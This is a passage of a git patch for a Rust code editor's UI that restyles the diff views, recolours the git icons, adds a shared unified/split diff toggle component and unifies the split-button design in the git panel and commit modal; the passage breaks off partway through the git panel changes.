views that display diffs: the uncommitted changes, branch diff, and
agent diff tabs. This involves adjusting spacing, sizing, and other
small tweaks across all of these views, including touching up the
divider component API a little bit, adjusting Git icons design, adding
diff stat numbers to the uncommitted changes tab so its consistent with
the others, and more (e.g., moving the split buttons into its own
component to ensure they look the same across all uses). Ended up also
going on a slight de-tour to make all uses of the split button in the
Git panel consistent design-wise.

All in all, this is just tidying up the design of all of these surfaces
that are all relatively similar.

| Branch Diff | Uncommitted Diff | Single-file Diff | Git Panel |
|--------|--------|--------|--------|
| <img width="800" alt="Screenshot 2026-07-06 at 11  25@2x"
src="https://github.com/user-attachments/assets/4ebf87e7-c52d-41d9-9de3-7944125114a1"
/> | <img width="800" alt="Screenshot 2026-07-06 at 11  25 2@2x"
src="https://github.com/user-attachments/assets/51ccd2eb-904b-455a-a708-b4cb50b3a7cb"
/> | <img width="800" alt="Screenshot 2026-07-06 at 11  26@2x"
src="https://github.com/user-attachments/assets/6ae7df68-d1bd-4d36-a250-ba16e43c4e8e"
/> | <img width="800" alt="Screenshot 2026-07-06 at 11  26 2@2x"
src="https://github.com/user-attachments/assets/e032bc60-4551-41f0-b578-90ed305167c2"
/> |

Release Notes:

- Added diff stat numbers to the uncommitted changes view.
---
 assets/icons/square_dot.svg                   |   4 +-
 assets/icons/square_minus.svg                 |   4 +-
 assets/icons/square_plus.svg                  |   6 +-
 crates/agent_ui/src/agent_diff.rs             |   8 +-
 .../src/conversation_view/thread_view.rs      |   2 +-
 crates/editor/src/editor.rs                   |   4 +-
 crates/editor/src/element.rs                  |   1 +
 crates/editor/src/element/header.rs           |  85 ++---
 crates/editor/src/split.rs                    | 133 +++++++-
 crates/git_ui/src/commit_modal.rs             | 123 ++++---
 crates/git_ui/src/git_panel.rs                | 165 +++++-----
 crates/git_ui/src/git_ui.rs                   | 161 +++++----
 crates/git_ui/src/project_diff.rs             | 226 +++++++------
 crates/git_ui/src/solo_diff_view.rs           | 311 ++++++++----------
 crates/picker/src/footer.rs                   |   2 +-
 crates/search/src/buffer_search.rs            | 146 +-------
 .../ui/src/components/button/split_button.rs  |  20 +-
 crates/ui/src/components/divider.rs           |  22 +-
 18 files changed, 693 insertions(+), 730 deletions(-)

diff --git a/assets/icons/square_dot.svg b/assets/icons/square_dot.svg
index 72b32734399a2d..a56ced308616c1 100644
--- a/assets/icons/square_dot.svg
+++ b/assets/icons/square_dot.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.6667 2H3.33333C2.59695 2 2 2.59695 2 3.33333V12.6667C2 13.403 2.59695 14 3.33333 14H12.6667C13.403 14 14 13.403 14 12.6667V3.33333C14 2.59695 13.403 2 12.6667 2Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<circle cx="8" cy="8" r="1.25" fill="black" stroke="black" stroke-width="0.5"/>
+<path d="M11.8889 3H4.11111C3.49746 3 3 3.49746 3 4.11111V11.8889C3 12.5025 3.49746 13 4.11111 13H11.8889C12.5025 13 13 12.5025 13 11.8889V4.11111C13 3.49746 12.5025 3 11.8889 3Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M8 9C8.55228 9 9 8.55228 9 8C9 7.44772 8.55228 7 8 7C7.44772 7 7 7.44772 7 8C7 8.55228 7.44772 9 8 9Z" fill="#DCE0E5" stroke="#DCE0E5"/>
 </svg>
diff --git a/assets/icons/square_minus.svg b/assets/icons/square_minus.svg
index 5ba458e8b53bf6..31b2c97d74b98f 100644
--- a/assets/icons/square_minus.svg
+++ b/assets/icons/square_minus.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.6667 2H3.33333C2.59695 2 2 2.59695 2 3.33333V12.6667C2 13.403 2.59695 14 3.33333 14H12.6667C13.403 14 14 13.403 14 12.6667V3.33333C14 2.59695 13.403 2 12.6667 2Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6 8H10" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.8889 3H4.11111C3.49746 3 3 3.49746 3 4.11111V11.8889C3 12.5025 3.49746 13 4.11111 13H11.8889C12.5025 13 13 12.5025 13 11.8889V4.11111C13 3.49746 12.5025 3 11.8889 3Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6 8H10" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/square_plus.svg b/assets/icons/square_plus.svg
index 063c7dbf8261d9..88ada58011f40e 100644
--- a/assets/icons/square_plus.svg
+++ b/assets/icons/square_plus.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.6667 2H3.33333C2.59695 2 2 2.59695 2 3.33333V12.6667C2 13.403 2.59695 14 3.33333 14H12.6667C13.403 14 14 13.403 14 12.6667V3.33333C14 2.59695 13.403 2 12.6667 2Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6 8H10" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8 6V10" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.8889 3H4.11111C3.49746 3 3 3.49746 3 4.11111V11.8889C3 12.5025 3.49746 13 4.11111 13H11.8889C12.5025 13 13 12.5025 13 11.8889V4.11111C13 3.49746 12.5025 3 11.8889 3Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6 8H10" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M8 6V10" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/crates/agent_ui/src/agent_diff.rs b/crates/agent_ui/src/agent_diff.rs
index ba731ec3b9ea23..9f51e53b292e58 100644
--- a/crates/agent_ui/src/agent_diff.rs
+++ b/crates/agent_ui/src/agent_diff.rs
@@ -28,7 +28,7 @@ use std::{
     ops::Range,
     sync::Arc,
 };
-use ui::{CommonAnimationExt, IconButtonShape, KeyBinding, Tooltip, prelude::*, vertical_divider};
+use ui::{CommonAnimationExt, Divider, IconButtonShape, KeyBinding, Tooltip, prelude::*};
 use util::ResultExt;
 use workspace::{
     Item, ItemHandle, ItemNavHistory, ToolbarItemEvent, ToolbarItemLocation, ToolbarItemView,
@@ -1099,7 +1099,7 @@ impl Render for AgentDiffToolbar {
                                     }),
                             )
                             .into_any_element(),
-                        vertical_divider().into_any_element(),
+                        Divider::vertical().into_any_element(),
                         h_flex()
                             .gap_0p5()
                             .child(
@@ -1141,7 +1141,7 @@ impl Render for AgentDiffToolbar {
                     .mr_1()
                     .gap_1()
                     .children(content)
-                    .child(vertical_divider())
+                    .child(Divider::vertical())
                     .when_some(editor.read(cx).workspace(), |this, _workspace| {
                         this.child(
                             IconButton::new("review", IconName::ListTodo)
@@ -1158,7 +1158,7 @@ impl Render for AgentDiffToolbar {
                                 }),
                         )
                     })
-                    .child(vertical_divider())
+                    .child(Divider::vertical())
                     .on_action({
                         let editor = editor.clone();
                         move |_action: &OpenAgentDiff, window, cx| {
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index c2f06da5261de2..90ea600ff5f17c 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -4913,7 +4913,7 @@ impl ThreadView {
                             );
                         }),
                 )
-                .child(Divider::vertical().h_4())
+                .child(Divider::vertical())
                 .into_any_element(),
         )
     }
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index d2eb44ecc878de..1d224ad40b45b1 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -103,7 +103,7 @@ pub use editor_settings::{
 };
 pub use element::{
     CursorLayout, EditorElement, HighlightedRange, HighlightedRangeLine, PointForPosition,
-    render_breadcrumb_text,
+    file_status_label_color, render_breadcrumb_text,
 };
 pub use git::blame::BlameRenderer;
 pub(crate) use git::{DiffHunkKey, StoredReviewComment};
@@ -124,7 +124,7 @@ pub use multi_buffer::{
     MultiBufferOffset, MultiBufferOffsetUtf16, MultiBufferSnapshot, PathKey, RowInfo, ToOffset,
     ToPoint,
 };
-pub use split::{SplittableEditor, ToggleSplitDiff};
+pub use split::{DiffStyleControls, SplittableEditor, ToggleSplitDiff};
 pub use split_editor_view::SplitEditorView;
 pub use text::Bias;
 
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 80f6bf7fab9f58..e5836446cee89a 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -3,6 +3,7 @@ mod mouse;
 
 #[cfg(test)]
 pub(crate) use header::StickyHeader;
+pub use header::file_status_label_color;
 pub(crate) use header::{header_jump_data, render_buffer_header};
 
 use crate::{
diff --git a/crates/editor/src/element/header.rs b/crates/editor/src/element/header.rs
index 9340ee6ac116b3..a6611b0c90ad56 100644
--- a/crates/editor/src/element/header.rs
+++ b/crates/editor/src/element/header.rs
@@ -21,7 +21,7 @@ use text::BufferId;
 use theme::ActiveTheme;
 use ui::{
     ButtonLike, ContextMenu, DiffStat, Indicator, KeyBinding, Tooltip, prelude::*,
-    right_click_menu, text_for_keystroke,
+    right_click_menu, text_for_keystroke, utils::WithRemSize,
 };
 use util::ResultExt;
 use workspace::{ItemHandle, ItemSettings, OpenInTerminal, OpenTerminal, RevealInProjectPanel};
@@ -691,6 +691,9 @@ pub(crate) fn render_buffer_header(
     let opaque_window =
         cx.theme().window_background_appearance() == WindowBackgroundAppearance::Opaque;
 
+    let show_open_file_button =
+        can_open_excerpts && relative_path.is_some() && (is_selected || header_hovered);
+
     let header = div()
         .id(("buffer-header", buffer_id.to_proto()))
         .on_hover(move |hovered, _window, cx| {
@@ -713,7 +716,6 @@ pub(crate) fn render_buffer_header(
                 .pr_2()
                 .rounded_sm()
                 .gap_1p5()
-                .when(is_sticky && opaque_window, |el| el.shadow_md())
                 .border_1()
                 .map(|border| {
                     let border_color =
@@ -724,10 +726,9 @@ pub(crate) fn render_buffer_header(
                         };
                     border.border_color(border_color)
                 })
-                .when(opaque_window, |el| {
-                    el.bg(colors.editor_subheader_background)
-                })
-                .hover(|style| style.bg(colors.element_hover))
+                .when(is_sticky && opaque_window, |s| s.shadow_md())
+                .when(opaque_window, |s| s.bg(colors.editor_subheader_background))
+                .hover(|s| s.bg(colors.element_hover))
                 .map(|header| {
                     let editor = editor.clone();
                     let buffer_id = for_excerpt.buffer_id();
@@ -906,46 +907,46 @@ pub(crate) fn render_buffer_header(
                                     })
                             },
                         ))
-                        .when_some(diff_stat, |this, (added, removed)| {
-                            this.child(
-                                div().flex_shrink_0().child(
-                                    DiffStat::new(
+                        .child(
+                            h_flex()
+                                .gap_2()
+                                .when_some(diff_stat, |this, (added, removed)| {
+                                    let ui_font_size =
+                                        theme_settings::ThemeSettings::get_global(cx)
+                                            .ui_font_size(cx);
+                                    this.child(WithRemSize::new(ui_font_size).child(DiffStat::new(
                                         ("buffer-header-diff-stat", buffer_id.to_proto()),
                                         added as usize,
                                         removed as usize,
-                                    )
-                                    .label_size(LabelSize::Small),
-                                ),
-                            )
-                        })
-                        .when(
-                            can_open_excerpts
-                                && relative_path.is_some()
-                                && (is_selected || header_hovered),
-                            |this| {
-                                this.child(
-                                    Button::new("open-file-button", "Open File")
-                                        .style(ButtonStyle::OutlinedGhost)
-                                        .when(is_selected, |this| {
-                                            this.key_binding(KeyBinding::for_action_in(
-                                                &OpenExcerpts,
-                                                &focus_handle,
-                                                cx,
+                                    )))
+                                })
+                                .when(show_open_file_button, |this| {
+                                    this.child(
+                                        Button::new("open-file-button", "Open File")
+                                            .style(ButtonStyle::OutlinedCustom(
+                                                cx.theme().colors().border.opacity(0.6),
                                             ))
-                                        })
-                                        .on_click(window.listener_for(editor, {
-                                            let jump_data = jump_data.clone();
-                                            move |editor, e: &ClickEvent, window, cx| {
-                                                editor.open_excerpts_common(
-                                                    Some(jump_data.clone()),
-                                                    e.modifiers().secondary(),
-                                                    window,
+                                            .layer(ui::ElevationIndex::ElevatedSurface)
+                                            .when(is_selected, |this| {
+                                                this.key_binding(KeyBinding::for_action_in(
+                                                    &OpenExcerpts,
+                                                    &focus_handle,
                                                     cx,
-                                                );
-                                            }
-                                        })),
-                                )
-                            },
+                                                ))
+                                            })
+                                            .on_click(window.listener_for(editor, {
+                                                let jump_data = jump_data.clone();
+                                                move |editor, e: &ClickEvent, window, cx| {
+                                                    editor.open_excerpts_common(
+                                                        Some(jump_data.clone()),
+                                                        e.modifiers().secondary(),
+                                                        window,
+                                                        cx,
+                                                    );
+                                                }
+                                            })),
+                                    )
+                                }),
                         )
                         .on_mouse_down(MouseButton::Left, |_, _, cx| cx.stop_propagation())
                         .on_click(window.listener_for(editor, {
@@ -1086,7 +1087,7 @@ pub(crate) fn render_buffer_header(
         })
 }
 
-fn file_status_label_color(file_status: Option<FileStatus>) -> Color {
+pub fn file_status_label_color(file_status: Option<FileStatus>) -> Color {
     file_status.map_or(Color::Default, |status| {
         if status.is_conflicted() {
             Color::Conflict
diff --git a/crates/editor/src/split.rs b/crates/editor/src/split.rs
index e568b886f73af5..dd34391e195921 100644
--- a/crates/editor/src/split.rs
+++ b/crates/editor/src/split.rs
@@ -6,9 +6,10 @@ use std::{
 use buffer_diff::{BufferDiff, BufferDiffSnapshot};
 use collections::HashMap;
 
+use fs::Fs;
 use gpui::{
-    Action, AppContext as _, Entity, EventEmitter, Focusable, Font, Pixels, Subscription,
-    WeakEntity, canvas,
+    Action, Entity, EventEmitter, Focusable, Font, Pixels, Subscription, WeakEntity, canvas,
+    prelude::*,
 };
 use itertools::Itertools;
 use language::{Buffer, Capability, HighlightedText};
@@ -18,12 +19,10 @@ use multi_buffer::{
 };
 use project::Project;
 use rope::Point;
-use settings::{DiffViewStyle, SeedQuerySetting, Settings, SettingsStore};
+use settings::{DiffViewStyle, SeedQuerySetting, Settings, SettingsStore, update_settings_file};
 use text::{Bias, BufferId, OffsetRangeExt as _, Patch, ToPoint as _};
-use ui::{
-    App, Context, InteractiveElement as _, IntoElement as _, ParentElement as _, Render,
-    Styled as _, Window, div,
-};
+
+use ui::{Toggleable as _, Tooltip, prelude::*, render_modifiers};
 
 use crate::{
     display_map::CompanionExcerptPatch,
@@ -41,7 +40,7 @@ use crate::{
     actions::{DisableBreakpoint, EditLogBreakpoint, EnableBreakpoint, ToggleBreakpoint},
     display_map::Companion,
 };
-use zed_actions::assistant::InlineAssist;
+use zed_actions::{OpenSettingsAt, assistant::InlineAssist};
 
 pub(crate) fn patches_for_lhs_range(
     rhs_snapshot: &MultiBufferSnapshot,
@@ -401,6 +400,124 @@ fn patch_for_excerpt(
 #[action(namespace = editor)]
 pub struct ToggleSplitDiff;
 
+/// Unified/split diff view toggle buttons, shared by the toolbars of every
+/// diff view (project diff, branch diff, solo diff) so they can't drift apart.
+#[derive(gpui::IntoElement)]
+pub struct DiffStyleControls {
+    splittable_editor: Entity<SplittableEditor>,
+}
+
+impl DiffStyleControls {
+    pub fn new(splittable_editor: Entity<SplittableEditor>) -> Self {
+        Self { splittable_editor }
+    }
+
+    fn set_diff_view_style(
+        splittable_editor: &Entity<SplittableEditor>,
+        diff_view_style: DiffViewStyle,
+        window: &mut Window,
+        cx: &mut App,
+    ) {
+        update_settings_file(<dyn Fs>::global(cx), cx, move |settings, _| {
+            settings.editor.diff_view_style = Some(diff_view_style);
+        });
+
+        splittable_editor.update(cx, |editor, cx| {
+            if editor.diff_view_style() != diff_view_style {
+                editor.toggle_split(&ToggleSplitDiff, window, cx);
+            }
+        });
+    }
+}
+
+impl RenderOnce for DiffStyleControls {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl gpui::IntoElement {
+        let editor = self.splittable_editor.read(cx);
+        let diff_view_style = editor.diff_view_style();
+        let is_split_set = diff_view_style == DiffViewStyle::Split;
+        let is_split_pending = is_split_set && !editor.is_split();
+        let min_columns = EditorSettings::get_global(cx).minimum_split_diff_width as u32;
+
+        let split_icon = if is_split_pending {
+            IconName::DiffSplitAuto
+        } else {
+            IconName::DiffSplit
+        };
+
+        h_flex()
+            .gap_1()
+            .child(
+                IconButton::new("diff-style-unified", IconName::DiffUnified)
+                    .icon_size(IconSize::Small)
+                    .toggle_state(diff_view_style == DiffViewStyle::Unified)
+                    .tooltip(Tooltip::text("Unified"))
+                    .on_click({
+                        let splittable_editor = self.splittable_editor.clone();
+                        move |_, window, cx| {
+                            Self::set_diff_view_style(
+                                &splittable_editor,
+                                DiffViewStyle::Unified,
+                                window,
+                                cx,
+                            );
+                        }
+                    }),
+            )
+            .child(
+                IconButton::new("diff-style-split", split_icon)
+                    .icon_size(IconSize::Small)
+                    .toggle_state(is_split_set)
+                    .tooltip(Tooltip::element(move |_, cx| {
+                        let message = if is_split_pending {
+                            format!("Split when wider than {} columns", min_columns).into()
+                        } else {
+                            SharedString::from("Split")
+                        };
+
+                        v_flex()
+                            .child(message)
+                            .child(
+                                h_flex()
+                                    .gap_0p5()
+                                    .text_ui_sm(cx)
+                                    .text_color(Color::Muted.color(cx))
+                                    .children(render_modifiers(
+                                        &gpui::Modifiers::secondary_key(),
+                                        PlatformStyle::platform(),
+                                        None,
+                                        Some(TextSize::Small.rems(cx).into()),
+                                        false,
+                                    ))
+                                    .child("click to change min width"),
+                            )
+                            .into_any_element()
+                    }))
+                    .on_click({
+                        let splittable_editor = self.splittable_editor.clone();
+                        move |_, window, cx| {
+                            if window.modifiers().secondary() {
+                                window.dispatch_action(
+                                    OpenSettingsAt {
+                                        path: "minimum_split_diff_width".to_string(),
+                                        target: None,
+                                    }
+                                    .boxed_clone(),
+                                    cx,
+                                );
+                            } else {
+                                Self::set_diff_view_style(
+                                    &splittable_editor,
+                                    DiffViewStyle::Split,
+                                    window,
+                                    cx,
+                                );
+                            }
+                        }
+                    }),
+            )
+    }
+}
+
 pub struct SplittableEditor {
     rhs_multibuffer: Entity<MultiBuffer>,
     rhs_editor: Entity<Editor>,
diff --git a/crates/git_ui/src/commit_modal.rs b/crates/git_ui/src/commit_modal.rs
index 50090a559ca8fd..06c554e7b6e06e 100644
--- a/crates/git_ui/src/commit_modal.rs
+++ b/crates/git_ui/src/commit_modal.rs
@@ -8,7 +8,8 @@ use git::{Amend, Commit, GenerateCommitMessage, Signoff};
 use project::DisableAiSettings;
 use settings::Settings;
 use ui::{
-    ContextMenu, KeybindingHint, PopoverMenu, PopoverMenuHandle, SplitButton, Tooltip, prelude::*,
+    ButtonLike, ContextMenu, ElevationIndex, KeybindingHint, PopoverMenu, PopoverMenuHandle,
+    SplitButton, Tooltip, prelude::*,
 };
 use zed_actions::{DecreaseBufferFontSize, IncreaseBufferFontSize, ResetBufferFontSize};
 
@@ -268,17 +269,14 @@ impl CommitModal {
         id: impl Into<ElementId>,
         keybinding_target: Option<FocusHandle>,
     ) -> impl IntoElement {
+        let menu_open = self.commit_menu_handle.is_deployed();
+
         PopoverMenu::new(id.into())
-            .trigger(
-                ui::ButtonLike::new_rounded_right("commit-split-button-right")
-                    .layer(ui::ElevationIndex::ModalSurface)
-                    .size(ui::ButtonSize::None)
-                    .child(
-                        div()
-                            .px_1()
-                            .child(Icon::new(IconName::ChevronDown).size(IconSize::XSmall)),
-                    ),
-            )
+            .with_handle(self.commit_menu_handle.clone())
+            .trigger(crate::render_split_button_chevron_trigger(
+                "modal-commit-split-button-right",
+                menu_open,
+            ))
             .menu({
                 let git_panel_entity = self.git_panel.clone();
                 move |window, cx| {
@@ -327,7 +325,10 @@ impl CommitModal {
                     }))
                 }
             })
-            .with_handle(self.commit_menu_handle.clone())
+            .offset(gpui::Point {
+                x: px(0.),
+                y: px(2.),
+            })
             .anchor(Anchor::TopRight)
     }
 
@@ -370,13 +371,12 @@ impl CommitModal {
             .unwrap_or_else(|| "<no branch>".to_owned());
 
         let branch_picker_button = Button::new("branch_picker_button", branch)
+            .label_size(LabelSize::Small)
             .start_icon(
                 Icon::new(IconName::GitBranch)
                     .size(IconSize::Small)
                     .color(Color::Placeholder),
             )
-            .style(ButtonStyle::Transparent)
-            .color(Color::Muted)
             .on_click(cx.listener(|_, _, window, cx| {
                 window.dispatch_action(zed_actions::git::Branch.boxed_clone(), cx);
             }));
@@ -401,6 +401,7 @@ impl CommitModal {
                 x: px(0.0),
                 y: px(-2.0),
             });
+
         let focus_handle = self.focus_handle(cx);
 
         let close_kb_hint = ui::KeyBinding::for_action(&menu::Cancel, cx).map(|close_kb| {
@@ -409,13 +410,12 @@ impl CommitModal {
 
         h_flex()
             .group("commit_editor_footer")
-            .flex_none()
-            .w_full()
-            .items_center()
-            .justify_between()
             .w_full()
             .h(px(self.properties.footer_height))
+            .w_full()
             .gap_1()
+            .flex_none()
+            .justify_between()
             .child(
                 h_flex()
                     .gap_1()
@@ -430,64 +430,53 @@ impl CommitModal {
                     .children(generate_commit_message)
                     .children(co_authors),
             )
-            .child(div().flex_1())
             .child(
                 h_flex()
-                    .items_center()
-                    .justify_end()
-                    .flex_none()
-                    .px_1()
                     .gap_4()
                     .child(close_kb_hint)
                     .child(SplitButton::new(
-                        ui::ButtonLike::new_rounded_left(ElementId::Name(
-                            format!("split-button-left-{}", commit_label).into(),
-                        ))
-                        .layer(ui::ElevationIndex::ModalSurface)
-                        .size(ui::ButtonSize::Compact)
-                        .child(
-                            div()
-                                .child(Label::new(commit_label).size(LabelSize::Small))
-                                .mr_0p5(),
-                        )
-                        .on_click(cx.listener(move |this, _: &ClickEvent, window, cx| {
-                            telemetry::event!("Git Committed", source = "Git Modal");
-                            this.git_panel.update(cx, |git_panel, cx| {
-                                git_panel.commit_changes(
-                                    CommitOptions {
-                                        amend: is_amend_pending,
-                                        signoff: is_signoff_enabled,
-                                        allow_empty: false,
-                                    },
-                                    window,
-                                    cx,
-                                )
-                            });
-                            cx.emit(DismissEvent);
-                        }))
-                        .disabled(!can_commit)
-                        .tooltip({
-                            let focus_handle = focus_handle.clone();
-                            move |_window, cx| {
-                                if can_commit {
-                                    Tooltip::with_meta_in(
-                                        tooltip,
-                                        Some(&git::Commit),
-                                        format!(
-                                            "git commit{}{}",
-                                            if is_amend_pending { " --amend" } else { "" },
-                                            if is_signoff_enabled { " --signoff" } else { "" }
-                                        ),
-                                        &focus_handle.clone(),
+                        ButtonLike::new_rounded_left(format!("split-button-left-{}", commit_label))
+                            .layer(ElevationIndex::ModalSurface)
+                            .size(ButtonSize::Compact)
+                            .disabled(!can_commit)
+                            .child(Label::new(commit_label).size(LabelSize::Small).mr_0p5())
+                            .on_click(cx.listener(move |this, _: &ClickEvent, window, cx| {
+                                telemetry::event!("Git Committed", source = "Git Modal");
+                                this.git_panel.update(cx, |git_panel, cx| {
+                                    git_panel.commit_changes(
+                                        CommitOptions {
+                                            amend: is_amend_pending,
+                                            signoff: is_signoff_enabled,
+                                            allow_empty: false,
+                                        },
+                                        window,
                                         cx,
                                     )
-                                } else {
-                                    Tooltip::simple(tooltip, cx)
+                                });
+                                cx.emit(DismissEvent);
+                            }))
+                            .tooltip({
+                                let focus_handle = focus_handle.clone();
+                                move |_window, cx| {
+                                    if can_commit {
+                                        Tooltip::with_meta_in(
+                                            tooltip,
+                                            Some(&git::Commit),
+                                            format!(
+                                                "git commit{}{}",
+                                                if is_amend_pending { " --amend" } else { "" },
+                                                if is_signoff_enabled { " --signoff" } else { "" }
+                                            ),
+                                            &focus_handle.clone(),
+                                            cx,
+                                        )
+                                    } else {
+                                        Tooltip::simple(tooltip, cx)
+                                    }
                                 }
-                            }
-                        }),
+                            }),
                         self.render_git_commit_menu(
-                            ElementId::Name(format!("split-button-right-{}", commit_label).into()),
+                            format!("split-button-right-{}", commit_label),
                             Some(focus_handle),
                         )
                         .into_any_element(),
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 134aad4bc69e62..e2b04699b224bb 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -79,8 +79,9 @@ use theme_settings::ThemeSettings;
 use time::OffsetDateTime;
 use ui::{
     ButtonLike, Checkbox, ContextMenu, ContextMenuEntry, Divider, ElevationIndex,
-    IndentGuideColors, KeyBinding, PopoverMenu, ProjectEmptyState, RenderedIndentGuide, ScrollAxes,
-    Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar, prelude::*,
+    IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle, ProjectEmptyState,
+    RenderedIndentGuide, ScrollAxes, Scrollbars, SplitButton, Tab, TintColor, Tooltip,
+    WithScrollbar, prelude::*,
 };
 use util::paths::PathStyle;
 use util::{ResultExt, TryFutureExt, markdown::MarkdownInlineCode, maybe, rel_path::RelPath};
@@ -801,9 +802,11 @@ pub struct GitPanel {
     history_keyboard_nav: bool,
     _commit_message_buffer_subscription: Option<Subscription>,
     _repo_subscriptions: Vec<Subscription>,
-
     _settings_subscription: Subscription,
     git_access: Option<GitAccess>,
+    commit_menu_handle: PopoverMenuHandle<ContextMenu>,
+    changes_actions_menu_handle: PopoverMenuHandle<ContextMenu>,
+    remote_action_menu_handle: PopoverMenuHandle<ContextMenu>,
 }
 
 #[derive(Clone, Debug, PartialEq, Eq)]
@@ -1084,6 +1087,9 @@ impl GitPanel {
                 _repo_subscriptions: Vec::new(),
                 _settings_subscription,
                 git_access: None,
+                commit_menu_handle: PopoverMenuHandle::default(),
+                changes_actions_menu_handle: PopoverMenuHandle::default(),
+                remote_action_menu_handle: PopoverMenuHandle::default(),
             };
 
             this.schedule_update(window, cx);
@@ -4867,21 +4873,14 @@ impl GitPanel {
         keybinding_target: Option<FocusHandle>,
         cx: &mut Context<Self>,
     ) -> impl IntoElement {
+        let menu_open = self.commit_menu_handle.is_deployed();
+
         PopoverMenu::new(id.into())
-            .trigger(
-                ui::ButtonLike::new_rounded_right("commit-split-button-right")
-                    .layer(ui::ElevationIndex::ModalSurface)
-                    .size(ButtonSize::None)
-                    .child(
-                        h_flex()
-                            .px_1()
-                            .h_full()
-                            .justify_center()
-                            .border_l_1()
-                            .border_color(cx.theme().colors().border)
-                            .child(Icon::new(IconName::ChevronDown).size(IconSize::XSmall)),
-                    ),
-            )
+            .trigger(crate::render_split_button_chevron_trigger(
+                "commit-split-button-right",
+                menu_open,
+            ))
+            .with_handle(self.commit_menu_handle.clone())
             .menu({
                 let git_panel = cx.entity();
                 let has_previous_commit = self.head_commit(cx).is_some();
@@ -4923,6 +4922,10 @@ impl GitPanel {
                 }
             })
             .anchor(Anchor::TopRight)
+            .offset(gpui::Point {
+                x: px(0.),
+                y: px(2.),
+            })
     }
 
     pub fn configure_commit_button(&self, cx: &mut Context<Self>) -> (bool, &'static str) {
@@ -5008,19 +5011,16 @@ impl GitPanel {
         let has_unstaged_changes = self.has_unstaged_changes();
         let has_new_changes = self.new_count > 0;
         let has_stash_items = self.stash_entries.entries.len() > 0;
+
         let focus_handle = self.focus_handle.clone();
+        let menu_open = self.changes_actions_menu_handle.is_deployed();
 
         PopoverMenu::new(id.into())
-            .trigger(
-                ui::ButtonLike::new_rounded_right("git-changes-actions-split-button-right")
-                    .layer(ui::ElevationIndex::ModalSurface)
-                    .size(ButtonSize::None)
-                    .child(
-                        div()
-                            .px_1()
-                            .child(Icon::new(IconName::ChevronDown).size(IconSize::XSmall)),
-                    ),
-            )
+            .trigger(crate::render_split_button_chevron_trigger(
+                "changes-actions-split-button-right",
+                menu_open,
+            ))
+            .with_handle(self.changes_actions_menu_handle.clone())
             .menu(move |window, cx| {
                 Some(git_panel_context_menu(
                     has_tracked_changes,
@@ -5034,6 +5034,10 @@ impl GitPanel {
                 ))
             })
             .anchor(Anchor::TopRight)
+            .offset(gpui::Point {
+                x: px(0.),
+                y: px(2.),
+            })
     }
 
     fn render_git_changes_actions_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
@@ -5158,6 +5162,7 @@ impl GitPanel {
                         focus_handle,
                         true,
                         self.pending_remote_operation,
+                        self.remote_action_menu_handle.clone(),
                     ))
                 })
                 .into_any_element(),
@@ -5359,7 +5364,7 @@ impl GitPanel {
             Color::Default
         };
 
-        div()
+        h_flex()
             .id("commit-wrapper")
             .on_hover(cx.listener(move |this, hovered, _, cx| {
                 this.show_placeholders =
@@ -5367,57 +5372,55 @@ impl GitPanel {
                 cx.notify()
             }))
             .child(SplitButton::new(
-                ButtonLike::new_rounded_left(ElementId::Name(
-                    format!("split-button-left-{}", title).into(),
-                ))
-                .layer(ElevationIndex::ModalSurface)
-                .size(ButtonSize::Compact)
-                .child(
-                    Label::new(title)
-                        .size(LabelSize::Small)
-                        .color(label_color)
-                        .mr_0p5(),
-                )
-                .on_click({
-                    let git_panel = cx.weak_entity();
-                    move |_, window, cx| {
-                        telemetry::event!("Git Committed", source = "Git Panel");
-                        git_panel
-                            .update(cx, |git_panel, cx| {
-                                git_panel.commit_changes(
-                                    CommitOptions {
-                                        amend,
-                                        signoff,
-                                        allow_empty: false,
-                                    },
-                                    window,
+                ButtonLike::new_rounded_left(format!("split-button-left-{}", title))
+                    .layer(ElevationIndex::ModalSurface)
+                    .size(ButtonSize::Compact)
+                    .disabled(!can_commit || self.modal_open)
+                    .child(
+                        Label::new(title)
+                            .size(LabelSize::Small)
